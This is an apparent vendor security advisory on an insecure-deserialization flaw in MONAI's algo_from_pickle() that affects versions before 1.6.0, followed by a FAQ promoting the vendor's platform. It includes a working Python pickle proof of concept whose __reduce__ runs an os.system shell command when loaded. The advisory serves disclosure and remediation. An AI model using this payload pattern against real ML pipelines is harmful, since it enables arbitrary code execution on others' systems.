GHSA-QXQ5-QHX6-94QW

Incomplete Fix in MONAI: algofrompickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1, line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization, already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2, line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3, line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29, release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger, monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires, RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

GHSA-QXQ5-QHX6-94QW has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is GHSA-QXQ5-QHX6-94QW? GHSA-QXQ5-QHX6-94QW is a high-severity insecure deserialization vulnerability in monai (pip), affecting versions < 1.6.0. It is fixed in 1.6.0. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is GHSA-QXQ5-QHX6-94QW? GHSA-QXQ5-QHX6-94QW has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of monai are affected by GHSA-QXQ5-QHX6-94QW? monai (pip) versions < 1.6.0 is affected.
4. Is there a fix for GHSA-QXQ5-QHX6-94QW? Yes. GHSA-QXQ5-QHX6-94QW is fixed in 1.6.0. Upgrade to this version or later.
5. Is GHSA-QXQ5-QHX6-94QW exploitable, and should I be worried? Whether GHSA-QXQ5-QHX6-94QW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-QXQ5-QHX6-94QW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-QXQ5-QHX6-94QW? Upgrade monai to 1.6.0 or later.

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